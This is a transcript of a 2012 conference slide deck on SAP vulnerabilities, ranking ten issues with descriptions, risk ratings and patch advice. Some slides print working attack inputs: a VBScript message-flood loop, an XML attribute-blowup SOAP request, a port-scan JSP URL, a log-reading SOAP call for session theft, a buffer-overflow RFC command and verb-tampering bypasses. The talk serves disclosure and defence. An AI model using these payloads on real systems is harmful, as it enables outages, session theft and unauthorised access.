sap (in)security: new and best

67
Invest in security to secure investments SAP (In)Security: New and Best Alexander Polyakov CTO at ERPScan/Digital Security May 31, 2012

Upload: positive-hack-days

Post on 05-Dec-2014

1.405 views

Category:

Technology


8 download

DESCRIPTION

 

TRANSCRIPT

Page 1: SAP (In)Security: New and Best

Invest in securityto secure investments

SAP (In)Security: New and BestAlexander Polyakov

CTO at ERPScan/Digital Security

May 31, 2012

Page 2: SAP (In)Security: New and Best

Me

Business application security expert

Page 3: SAP (In)Security: New and Best

Instead of Intro

Vulnerabilities are everywhere

Page 4: SAP (In)Security: New and Best

What is SAP ?

Shut upAndPay

Page 5: SAP (In)Security: New and Best

Really

• The most popular business application• More than 120000 customers• 74% of Forbes 500

Page 6: SAP (In)Security: New and Best

Agenda

• Intro• SAP security history• SAP on the Internet• Most popular SAP issues (OLD)• Top 10 latest interesting attacks (NEW)• DEMOs• Conclusion

Page 7: SAP (In)Security: New and Best

3 areas of SAP Security

Business logic security Prevents attacks or mistakes made by insiders

Solution: GRCABAP Code securityPrevents attacks or mistakes made by developers

Solution: Code audit

Application platform security

Prevents unauthorized access both within the corporate network and from remote

attackers

Solution?

2002

2008

2010

Page 8: SAP (In)Security: New and Best

Talks about SAP security

2006 2007 2008 2009 2010 2011 2012 0

5

10

15

20

25

30

35

Most popular:• BlackHat • HITB • Troopers • RSA • Source • DeepSec • etc.

Page 9: SAP (In)Security: New and Best

SAP Security notes

2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 20120

100

200

300

400

500

600

700

800

900

By April 26, 2012, a total of 2026 notes

Page 10: SAP (In)Security: New and Best

SAP vulnerabilities by type

12 -SQL Inj

11 - BOF

10 - Denial of service

9 - Remote Code Execution

8 - Verb tampering

7 - Code injection vulnerability

6 - Hard-coded credentials

5 - Unauthorized usage of application functionality

4 - Information Disclosure

3 - Missing Auth check

2 - XSS/Unauthorised modification of stored content

1 - Directory Traversal

0 50 100 150 200 250 300 350

Stats from :• 1Q 2012• 1Q 2010• 4Q 2009

Page 11: SAP (In)Security: New and Best

Top problems by OWASP-EAS (Implementation issues)

EASAI-1 Lack of patch managementEASAI-2 Default Passwords for application accessEASAI-3 SOD conflictsEASAI-4 Unnecessary Enabled Application features EASAI-5 Open Remote management interfacesEASAI-6 lack of password lockout/complexity checksEASAI-7 Insecure options EASAI-8 Unencrypted communicationsEASAI-9 Insecure trust relationsEASAI-10 Guest access

Page 12: SAP (In)Security: New and Best

Top problems by BIZEC

● BIZEC TEC-01: Vulnerable Software in Use● BIZEC TEC-02: Standard Users with Default Passwords● BIZEC TEC-03: Unsecured SAP Gateway● BIZEC TEC-04: Unsecured SAP/Oracle authentication● BIZEC TEC-05: Insecure RFC interfaces● BIZEC TEC-06: Insufficient Security Audit Logging● BIZEC TEC-07: Unsecured SAP Message Server● BIZEC TEC-08: Dangerous SAP Web Applications● BIZEC TEC-09: Unprotected Access to Administration Services● BIZEC TEC-10: Insecure Network Environment● BIZEC TEC-11: Unencrypted Communications

Page 13: SAP (In)Security: New and Best

Business Risks

Espionage• Stealing financial information• Stealing corporate secrets• Stealing suppliers and customers list• Stealing HR data

Sabotage• Denial of service• Modification of financial reports• Access to technology network (SCADA) by trust relations

Fraud• False transactions• Modification of master data• e.t.c.

Page 14: SAP (In)Security: New and Best

SAP on the Internet

• We have collected data about SAP systems in the WEB• Have various stats by countries, applications, versions• Information from Google, Shodan, Nmap scan

MYTH: SAP systems attacks available only for insiders

Page 15: SAP (In)Security: New and Best

SAP on the Internet

Page 16: SAP (In)Security: New and Best

SAP on the Internet

About 5000 systems including Dispatcher, Message server, SapHostcontrol, Web- services

Page 17: SAP (In)Security: New and Best

Top 10 vulnerabilities 2011-2012

1. Authentication Bypass via Verb tampering2. Authentication Bypass via the Invoker servlet 3. Buffer overflow in ABAP Kernel4. Code execution via TH_GREP5. MMC read SESSIONID6. Remote portscan7. Encryption in SAPGUI 8. BAPI XSS/SMBRELAY 9. XML Blowup DOS10. GUI Scripting DOS

NNw

NNw

NNw

NNw

NNw

Page 18: SAP (In)Security: New and Best

10 – GUI-Scripting DOS: Description

• SAP users can run scripts which automate their user functions• A script has the same rights in SAP as the user who launched it• Security message which is shown to user can be turned off in

the registry• Almost any user can use SAP Messages (SM02 transaction)• It is possible to run DOS attack on any user using a simple script

New

Author: Dmitry Chastukhin (ERPScan)

Page 19: SAP (In)Security: New and Best

10 – GUI-scripting: Details

If Not IsObject(application) Then Set SapGuiAuto = GetObject("SAPGUI") Set application = SapGuiAuto.GetScriptingEngineEnd IfIf Not IsObject(connection) Then Set connection = application.Children(0)End IfIf Not IsObject(session) Then Set session = connection.Children(0)End IfIf IsObject(WScript) Then WScript.ConnectObject session, "on" WScript.ConnectObject application, "on"End Ifdoa=a+1session.findById("wnd[0]").maximizesession.findById("wnd[0]/tbar[0]/okcd").text = "/nsm02"session.findById("wnd[0]/tbar[0]/btn[0]").presssession.findById("wnd[0]/tbar[1]/btn[34]").presssession.findById("wnd[1]/usr/txtEMLINE1").text = "hello"session.findById("wnd[1]/usr/ctxtTEMSG-APPLSERVER").setFocussession.findById("wnd[1]/usr/ctxtTEMSG-APPLSERVER").caretPosition = 0session.findById("wnd[1]/usr/ctxtTEMSG-APPLSERVER").setFocussession.findById("wnd[1]/usr/ctxtTEMSG-APPLSERVER").caretPosition = 0session.findById("wnd[1]").sendVKey 4session.findById("wnd[2]/usr/lbl[1,3]").setFocussession.findById("wnd[2]/usr/lbl[1,3]").caretPosition = 15session.findById("wnd[2]").sendVKey 2session.findById("wnd[1]/usr/ctxtTEMSG-CLIENT").text = "800"session.findById("wnd[1]/usr/ctxtTEMSG-LANGU").text = "en"session.findById("wnd[1]/usr/ctxtTEMSG-LANGU").setFocussession.findById("wnd[1]/usr/ctxtTEMSG-LANGU").caretPosition = 2session.findById("wnd[1]/tbar[0]/btn[0]").pressLoop Until a>=1000

Page 20: SAP (In)Security: New and Best

10 – GUI-scripting: Other attacks

Script can be uploaded using:– SAPGUI ActiveX vulnerability – Teensy USB flash – Any other method of client exploitation

Other attacks like changing banking accounts in LFBK also possible

Page 21: SAP (In)Security: New and Best

10 – GUI-scripting: Business risks

Sabotage – High

Ease of exploitation – Medium

Espionage – No

Fraud – No

Page 22: SAP (In)Security: New and Best

10 – GUI-scripting: Prevention

• SAP GUI Scripting Security Guide• sapgui/user_scripting = FALSE• Block registry modification on workstations

Page 23: SAP (In)Security: New and Best

9 – XML Blowup DOS: Description

• WEBRFC interface can be used to run RFC functions• By default any user can have access• Can execute at least RFC_PING• SAP NetWeaver is vulnerable to malformed XML packets• It is possible to run DOS attack on server using simple script • It is possible to run over the Internet!

New

Author: Alexey Tyurin (ERPScan)

Page 24: SAP (In)Security: New and Best

9 – XML Blowup DOS: Details

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">

<SOAP-ENV:Body><m:RFC_PING xmlns:m="urn:sap-com:document:sap:rfc:functions\" a1="" a2="" ... a10000="" ></m:RFC_PING></SOAP-ENV:Body></SOAP-ENV:Envelope>

Page 25: SAP (In)Security: New and Best

9 – XML Blowup DOS: Business risks

Ease of exploitation – Medium

Espionage – No

Fraud – No

Sabotage – Critical

Page 26: SAP (In)Security: New and Best

9 – XML Blowup DOS: Prevention

• Disable WEBRFC • Prevent unauthorized access to WEBRFC using S_ICF• Install SAP notes 1543318 and 1469549

Page 27: SAP (In)Security: New and Best

8 – BAPI script injection/hash stealing : Description

• SAP BAPI transaction fails to properly sanitize input

• Possible to inject JavaScript code or link to a fake SMB server

• SAP GUI clients use Windows so their credentials will be transferred to attackers host.

Author: Dmitry Chastukhin (ERPScan)

Page 28: SAP (In)Security: New and Best

8 – BAPI script injection/hash stealing: Demo

New

Page 29: SAP (In)Security: New and Best

8 – BAPI script injection/hash stealing: Business risks

Ease of exploitation – Low

Sabotage – High

Espionage – High

Fraud – High

Page 30: SAP (In)Security: New and Best

7 – SAP GUI bad encryption: Description

• SAP FrontEnd can save encrypted passwords in shortcuts • Shortcuts stored in .sap file• This password uses byte-XOR algorithm with “secret” key• Key has the same value for every installation of SAP GUI• Any password can be decrypted in 1 second

Author: Alexey Sintsov (ERPScan)

New

Page 31: SAP (In)Security: New and Best

7 – SAP GUI bad encryption: Demo

Page 32: SAP (In)Security: New and Best

7 – SAP GUI bad encryption: Business risks

Sabotage – Medium

Fraud – High

Espionage – High

Ease of exploitation – Medium

Page 33: SAP (In)Security: New and Best

• Disable password storage in GUI

7 – SAP GUI bad encryption: Prevention

Page 34: SAP (In)Security: New and Best

6 – Remote port scan via JSP: Description

• It is possible to scan internal network from the Internet• Authentication is not required• SAP NetWeaver J2EE engine is vulnerable

/ipcpricing/ui/BufferOverview.jsp?server=172.16.0.13 & port=31337 & password= & dispatcher= & targetClient= & view= Author: Alexander Polyakov (ERPScan)

Page 35: SAP (In)Security: New and Best

6 – Remote port scan via JSP: Demo

Host is not alive

Port closed

HTTP port

SAP port

Page 36: SAP (In)Security: New and Best

6 – Remote port scan via JSP: Business risks

Espionage – Medium

Fraud – No

Ease of exploitation – High

Sabotage – Low

Page 37: SAP (In)Security: New and Best

• Install SAP notes:1548548, 1545883, 1503856, 948851, 1545883

• Disable unnecessary applications

6 – Remote port scan via JSP: Prevention

Page 38: SAP (In)Security: New and Best

5 – MMC JSESSIONID stealing: Description

Can be authenticated as an existing user remotely

• Remote management of SAP Platform• By default, many commands go without auth• Exploits implemented in Metasploit (by ChrisJohnRiley)• Most of the bugs are information disclosure• It is possible to find information about JSESSIONID• Only if trace is ON

1) Original bug by ChrisJohnRiley 2) JSESSIONID by Alexey Sintsov and

Alexey Tyurin (ERPScan)

New

Page 39: SAP (In)Security: New and Best

5 – MMC SESSIONID stealing: Details

<?xml version="1.0" encoding="UTF-8" ?><SOAP-ENV:Envelope

xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"><SOAP-ENV:Header>

<sapsess:Session xmlns:sapsess = "http://www.sap.com/webas/630/soap/features/session/"> <enableSession>true</enableSession>

</sapsess:Session></SOAP-ENV:Header><SOAP-ENV:Body>

<ns1:ReadLogFile xmlns:ns1="urn:SAPControl"><filename>j2ee/cluster/server0/log/system/userinterface.log</filename><filter></filter><language></language><maxentries>100</maxentries><statecookie>EOF</statecookie>

</ns1:ReadLogFile></SOAP-ENV:Body>

</SOAP-ENV:Envelope>

Page 40: SAP (In)Security: New and Best

5 – MMC JSESSIONID stealing: Business risks

Espionage – Critical

Sabotage – Medium

Fraud – High

Ease of exploitation – Medium

Page 41: SAP (In)Security: New and Best

5 – MMC JSESSIONID stealing: Prevention

• The JSESSIONID by default will not be logged in log file • Don’t use TRACE_LEVEL = 3 on production systems or delete traces after use• Other info http://help.sap.com/saphelp_nwpi71/helpdata/en/d6/49543b1e49bc1fe10000000a114084/frameset.htm

Page 42: SAP (In)Security: New and Best

4 – Remote command execution in TH_GREP: Description

• RCE vulnerability in RFC module TH_GREP• Found by Joris van de Vis• SAP was not properly patched (1433101)• We have discovered that the patch can be bypassed in

Windows

Original bug by Joris van de Vis (erp-sec)Bypass by Alexey Tyurin (ERPScan)

Page 43: SAP (In)Security: New and Best

4 – RCE in TH_GREP: Details

elseif opsys = 'Windows NT'.

concatenate '/c:"' string '"' filename into grep_params in character mode.

else. /*if linux*/ /* 185 */ replace all occurrences of '''' in local_string with '''"''"'''.

/* 186 */ concatenate '''' local_string '''' filename into grep_params /* 187*/ in character mode. /* 188*/ endif.

/* 188*/

Page 44: SAP (In)Security: New and Best

4 – RCE in TH_GREP: Demo #1

Page 45: SAP (In)Security: New and Best

4 - RCE in TH_GREP: More details

4 ways to execute vulnerable program

• Using transaction "Se37“• Using transaction “SM51“ (thanks to Felix Granados)

• Using remote RFC call "TH_GREP"• Using SOAP RFC call "TH_GREP" via web

Page 46: SAP (In)Security: New and Best

4 – RCE in TH_GREP: Demo #2

Page 47: SAP (In)Security: New and Best

4 – RCE in TH_GREP: Business risks

Sabotage – Medium

Fraud – High

Espionage – High

Ease of exploitation – medium

Page 48: SAP (In)Security: New and Best

4 – RFC in TH_GREP: Prevention

• Install SAP notes 1580017, 1433101• Prevent access to critical transactions and RFC functions• Check the ABAP code of your Z-transactions for similar vulnerabilities

Page 49: SAP (In)Security: New and Best

3 - ABAP Kernel BOF: Description

• Presented by Andreas Wiegenstein at BlackHat EU 2011

• Buffer overflow in SAP kernel function C_SAPGPARAM

• When NAME field is more than 108 chars

• Can be exploited by calling an FM which uses C_SAPGPARAM

• Example of report – RSPO_R_SAPGPARAMAuthor: (VirtualForge)

Page 50: SAP (In)Security: New and Best

3 -ABAP Kernel BOF: Details

> startrfc.exe -3 -h 172.16.0.63 -s 01 -c 000 –u SAP* -p 11111 -F RSPO_R_SAPGPARAM

-E NAME=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -t 4

RFC Call/Exception: SYSTEM_FAILUREGroup Error group 104Key RFC_ERROR_SYSTEM_FAILUREMessage connection closed without message (CM_NO_DATA_RECEIVED)

Page 51: SAP (In)Security: New and Best

3 – ABAP Kernel BOF: Business risks

Espionage – Critical

Ease of exploitation – Medium

Fraud – Critical

Sabotage – Critical

Page 52: SAP (In)Security: New and Best

3 – ABAP Kernel BOF: Prevention

• Install SAP notes:- 1493516 – Correcting buffer overflow in ABAP system call- 1487330 – Potential remote code execution in SAP Kernel

• Prevent access to critical transactions and RFC functions

• Check the ABAP code of your Z-transactions for critical calls

Page 53: SAP (In)Security: New and Best

2 – Invoker Servlet: Description

Can be used for auth bypass

• Rapidly calls servlets by their class name

• Published by SAP in their security guides

• Possible to call any servlet from the application

• Even if it is not declared in WEB.XML

Page 54: SAP (In)Security: New and Best

2 - Invoker Servlet: Details

<servlet> <servlet-name>CriticalAction</servlet-name> <servlet-class>com.sap.admin.Critical.Action</servlet-class> </servlet><servlet-mapping> <servlet-name>CriticalAction</</servlet-name> <url-pattern>/admin/critical</url-pattern> </servlet-mapping<security-constraint><web-resource-collection><web-resource-name>Restrictedaccess</web-resource-name><url-pattern>/admin/*</url-pattern><http-method>GET</http-method></web-resource-collection><auth-constraint> <role-name>admin</role-name> </auth-constraint></security-constraint>

Author: Dmitry Chastukhin (ERPScan)

What if we call /servlet/com.sap.admin.Critical.Action

Page 55: SAP (In)Security: New and Best

2 – Invoker servlet: Business risks

Ease of use – Very easy!

Espionage – High

Sabotage – High

Fraud – High

Page 56: SAP (In)Security: New and Best

2 - Invoker servlet: Prevention

• Update to the latest patch 1467771, 1445998• “EnableInvokerServletGlobally” property of the servlet_jsp must be “false”

If you can’t install patches for some reason, you can check all WEB.XML files using ERPScan web.xml scanner manually.

Page 57: SAP (In)Security: New and Best

1 – VERB Tampering

Page 58: SAP (In)Security: New and Best

1st Place – Verb Tampering

<security-constraint><web-resource-collection><web-resource-name>Restrictedaccess</web-resource-name><url-pattern>/admin/*</url-pattern><http-method>GET</http-method></web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint></security-constraint>

What if we use HEAD instead of GET ?

Author: Alexander Polyakov (ERPScan)

Page 59: SAP (In)Security: New and Best

1st Place – Verb tampering: Details

• CTC – Secret interface for managing J2EE engine• Can be accessed remotely • Can run user management actions:

– Add users– Add to groups– Run OS commands– Start/Stop J2EE

Remotely without authentication!

Page 60: SAP (In)Security: New and Best

1 – Verb tampering: Demo

Page 61: SAP (In)Security: New and Best

1 – Verb tampering: More details

If patched, can be bypassed by the Invoker servlet!

Page 62: SAP (In)Security: New and Best

1 – Verb tampering: Business risks

Espionage – Critical

Sabotage – Critical

Fraud – Critical

Ease of use – Very easy!

Page 63: SAP (In)Security: New and Best

1st Place – Verb tampering: Prevention

Prevention:• Install SAP notes 1503579,1616259• Install other SAP notes about Verb Tampering (about 18)• Scan applications using ERPScan WEB.XML check tool or manually• Secure WEB.XML by deleting all <http-method>• Disable the applications that are not necessary

Page 64: SAP (In)Security: New and Best

Conclusion

It is possible to be protected from almost all those kinds of issues and we are working hard with SAP to make it secure

SAP Guides

It’s all in your hands

Regular Security assessments

ABAP Code review

Monitoring technical security

Segregation of Duties

Page 65: SAP (In)Security: New and Best

Future work

Many of the researched things cannot be disclosed now because of our good relationship with SAP Security Response Team, whom I would like to thank for cooperation. However, if you want to see new demos and 0-days, follow us at @erpscan and attend the future presentations:

• Just4Meeting in July (Portugal)• BlackHat USA in July (Las Vegas)

Page 66: SAP (In)Security: New and Best

Greetz to our crew who helped: Dmitriy Evdokimov, Alexey Sintsov, Alexey Tyurin, Pavel Kuzmin, Evgeniy Neelov.

Page 67: SAP (In)Security: New and Best

web: www.dsec.ru www.erpscan.come-mail: [email protected] [email protected]: @erpscan

@sh2kerr